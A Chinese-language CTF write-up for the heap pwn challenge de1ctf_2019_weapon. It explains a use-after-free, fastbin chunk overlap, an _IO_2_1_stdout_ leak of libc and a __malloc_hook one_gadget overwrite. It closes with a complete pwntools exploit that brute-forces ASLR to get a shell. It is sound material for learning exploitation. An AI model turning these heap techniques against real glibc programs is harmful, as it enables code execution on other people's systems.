Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc 是 2.23 的,比较古早。
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch]
while ( 1 )
{
menu();
v3 = read_a_num();
switch ( v3 )
{
case 1:
create();
break;
case 2:
delete();
break;
case 3:
rename();
break;
default:
puts("Incalid choice!");
break;
}
}
}
__int64 create()
{
signed int size; // [rsp+8h] [rbp-18h] BYREF
int idx; // [rsp+Ch] [rbp-14h]
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("wlecome input your size of weapon: ");
_isoc99_scanf("%d", &size);
if ( size <= 0 || size > 0x60 )
{
printf("The size of weapon is too dangers!!");
exit(0);
}
printf("input index: ");
idx = read_a_num();
ptr = malloc(size);
if ( !ptr )
{
printf("malloc error");
exit(0);
}
size_book[4 * idx] = size; // 这里 *4 意思是 *16(int:4,4*4=16)
*((_QWORD *)&book + 2 * idx) = ptr;// 这里 *2 意思也是 *16(qword:8,2*8=16)
puts("input your name:");
check_read(*((void **)&book + 2 * idx), size); // 向book[idx]中读入size大小内容
return 0LL;
}
__int64 __fastcall check_read(void *a1, unsigned int a2)
{
if ( a2 )
return (int)read(0, a1, a2);
else
return 0LL;
}
book 结构:
0x00: 堆块指针 | 堆块大小
0x10: 堆块指针 | 堆块大小
……
unsigned __int64 delete()
{
int idx; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("input idx :");
idx = read_a_num();
free(*((void **)&book + 2 * idx));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 rename()
{
int idx; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("input idx: ");
idx = read_a_num();
puts("new content:");
check_read(*((void **)&book + 2 * idx), size_book[4 * idx]);
puts("Done !");
return __readfsqword(0x28u) ^ v2;
}
题目非常好逆,关键在于如何打完 uaf 后 leak 出我们需要的信息。
libc 2.23 可以用 fastbin double free
泄露地址:通过把堆块放进 unsortedbin 里面 “涮一下” 会在剩下堆块里面得到一个 main_arena+88 的地址。能够根据这个地址定位 libc 基地址。
现在的困难:最多 0x60 只能在 fastbin 里面,不会进 unsortedbin.
解决方法:
先开几块 chunk,释放后留下 fd 指针,利用 uaf 篡改 fd 指针,导致再申请的时候从指定位置 ”错误地“ 开始申请,进而导致这个 chunk 可以修改到原先 chunk 的 size 位,达到扩大 size 的效果,实现把堆块送进 unsorted bin 的意图。
# chunk size 范围 0-0x60
add(0, 0x60, b'a') # chunk 0
add(1, 0x60, b'b') # chunk 1
add(2, 0x60, b'c') # chunk 2
add(3, 0x20, b'd') # chunk 3
delete(1) # head -> chunk 1
delete(0) # head -> chunk 0 -> chunk 1
edit(0, b'\x50') # head -> chunk 0 -> fake chunk
# pause()
add(4, 0x60, p64(0) * 9 + b'\x71') # head -> fake chunk; chunk 4 伪造 fake chunk 的 size 位
add(5, 0x60, p64(0) * 3 + b'\xe1') # head; chunk 5 伪造 chunk 1 的 size 位
delete(1) # 释放一个大小为 0xe0 的堆块,进入 unsorted bin



delete(0) # head -> chunk 0
delete(2) # head -> chunk 2 -> chunk 0
edit(2, b'\x70') # head -> chunk 2 -> faked chunk 1
在 fastbin 中构造链条,以便通过 main_arena + 88 这个地址申请到 _IO_2_1_stdout_ 附近的位置。(两个地址相差不远,所以通过 2 Bytes 的 partial write 就能够得到)
# 接下来要干两件事情:
# 1. 需要利用 faked chunk 1 申请到 _IO_2_1_stdout_ 上方一些的位置
# 利用堆上本身有的数据 '0x7f' 去伪造堆块的 size 位(否则不能成功申请到)
# 可以选择 &_IO_2_1_stdout_ - 0x43 的地方,末 3 位是固定位 0x5dd,倒数第四位需要爆破
# 2. 现在这个本来在 unsorted bin 里的 faked chunk 1 被接到了 fastbin 上,但是如果 size 不跟前面的 chunk size 匹配就会出错,所以需要再修改回来
# pause()
edit(5, p64(0) * 3 + b'\x71' + b'\x00'* 7 + b'\xdd\x25') # 注意小端序
add(6, 0x60, b'a')
add(7, 0x60, b'b') # 申请到 faked chunk 1
至此我们已经可以随意修改 _IO_stdout_ 了,只要绕过检查就能 IO_leak.
IO_leak 利用链:
puts -> _IO_puts -> _IO_sputn ->
_IO_XSPUTN(_IO_new_file_xsputn) ->
_IO_OVERFLOW(_IO_new_file_overflow) ->
_IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) ->
_IO_new_do_write ->
_IO_SYSWRITE
需要绕过的检查:
f->_flags & _IO_NO_WRITES == 0
(f->_flags & _IO_CURRENTLY_PUTTING) == 1
_flags 魔数常量 0xfbad0000
fp->_flags & _IO_IS_APPENDING == 1
总结:将 fp->_flags 赋为 0xfbad1800 即可。
并且把 _IO_write_base 改为目标地址,之后遇到 puts 时就会泄露该地址中的值。
需要注意的是,改成 0xfbad1800 后,每个 puts 的东西最后都没有换行了。可以用 0xfbad1807 避免这个问题。

可以看到吐出了一堆内容:

# IO_FILE leak
add(8, 0x60, b'\x00' * 0x33 + p32(0xfbad1807) + p64(0) * 3 + b'\x00\x00\x00\x00\x48') # 申请到 _IO_2_1_stdout_ 上方的堆块
leak = io.recv(6)
leak = u64(leak.ljust(8, b'\x00')) # 读取泄露的地址
log.info(f'leak: {hex(leak)}')
libc_base = leak - 0x3c56a3
log.info(f'libc_base: {hex(libc_base)}')
最后一步用 malloc_hook 打 one_gadget:
# 利用 malloc_hook 进行任意地址跳转
add(9, 0x60, b'a')
delete(9)
edit(9, p64(libc_base + libc.symbols['__malloc_hook'] - 0x23)) # fd 指向 malloc_hook - 0x23 处
add(10, 0x60, b'a')
# pause()
gadgets = [0x4527a, 0xf03a4, 0xf1247]
gadget = libc_base + gadgets[2] # 选择一个 gadget
add(11, 0x60, b'\x00' * 0x13 + p64(gadget))
# trigger
io.sendlineafter(b'choice >> \n', b'1')
io.sendlineafter(b'wlecome input your size of weapon: ', b'96')
io.sendlineafter(b'input index: ', b'14')
io.interactive()
对于已经关闭 ASLR 的程序,做到这已经能拿 shell 了,但是显然现在的 linux 都会开 ASLR,所以
edit(5, p64(0) * 3 + b'\x71' + b'\x00'* 7 + b'\xdd\x25')
这句话中 ‘\x25’ 的 2 是不确定的,只有 1/16 的概率碰上正确的,故添加爆破措施。完整 exp 如下:
from pwn import *
libc = ELF('/mnt/d/PWNlearn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
elf = ELF('./de1ctf_2019_weapon')
# local = 0
# if local == 1:
# io = process('./de1ctf_2019_weapon')
# else:
# io = remote("0.0.0.0", 10043)
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
def cmd(choice):
io.sendline(str(choice).encode())
def add(idx, size, name):
cmd(1)
io.sendlineafter(b'wlecome input your size of weapon: ', str(size).encode())
io.sendlineafter(b'input index: ', str(idx).encode())
io.sendafter(b'input your name:\n', name)
def delete(idx):
cmd(2)
io.sendlineafter(b'input idx :', str(idx).encode())
def edit(idx, name):
cmd(3)
io.sendlineafter(b'input idx: ', str(idx).encode())
io.sendafter(b'new content:\n', name)
def pwn():
# chunk size 范围 0-0x60
add(0, 0x60, b'a') # chunk 0
add(1, 0x60, b'b') # chunk 1
add(2, 0x60, b'c') # chunk 2
add(3, 0x20, b'd') # chunk 3
delete(1) # head -> chunk 1
delete(0) # head -> chunk 0 -> chunk 1
edit(0, b'\x50') # head -> chunk 0 -> fake chunk
# pause()
add(4, 0x60, p64(0) * 9 + b'\x71') # head -> fake chunk; chunk 4 伪造 fake chunk 的 size 位
add(5, 0x60, p64(0) * 3 + b'\xe1') # head; chunk 5 伪造 chunk 1 的 size 位
delete(1) # 释放一个大小为 0xe0 的堆块,进入 unsorted bin
delete(0) # head -> chunk 0
delete(2) # head -> chunk 2 -> chunk 0
# pause()
edit(2, b'\x70') # head -> chunk 2 -> faked chunk 1
# 接下来要干两件事情:
# 1. 需要利用 faked chunk 1 申请到 _IO_2_1_stdout_ 上方一些的位置
# 利用堆上本身有的数据 '0x7f' 去伪造堆块的 size 位(否则不能成功申请到)
# 可以选择 &_IO_2_1_stdout_ - 0x43 的地方,末 3 位是固定位 0x5dd,倒数第四位需要爆破
# 2. 现在这个本来在 unsorted bin 里的 faked chunk 1 被接到了 fastbin 上,但是如果 size 不跟前面的 chunk size 匹配就会出错,所以需要再修改回来
# pause()
edit(5, p64(0) * 3 + b'\x71' + b'\x00'* 7 + b'\xdd\xf5') # 注意小端序
add(6, 0x60, b'a')
add(7, 0x60, b'b') # 申请到 faked chunk 1
# pause()
# IO_FILE leak
add(8, 0x60, b'\x00' * 0x33 + p32(0xfbad1807) + p64(0) * 3 + b'\x00\x00\x00\x00\x48') # 申请到 _IO_2_1_stdout_ 上方的堆块
leak = io.recv(6)
leak = u64(leak.ljust(8, b'\x00')) # 读取泄露的地址
log.info(f'leak: {hex(leak)}')
libc_base = leak - 0x3c56a3
log.info(f'libc_base: {hex(libc_base)}')
# 利用 malloc_hook 进行任意地址跳转
add(9, 0x60, b'a')
delete(9)
edit(9, p64(libc_base + libc.symbols['__malloc_hook'] - 0x23)) # fd 指向 malloc_hook - 0x23 处
add(10, 0x60, b'a')
# pause()
gadgets = [0x4527a, 0xf03a4, 0xf1247]
gadget = libc_base + gadgets[2] # 选择一个 gadget
add(11, 0x60, b'\x00' * 0x13 + p64(gadget))
# trigger
io.sendlineafter(b'choice >> \n', b'1')
io.sendlineafter(b'wlecome input your size of weapon: ', b'96')
io.sendlineafter(b'input index: ', b'14')
io.interactive()
while True:
try:
io = remote("0.0.0.0", 10043)
pwn()
break
except:
io.close()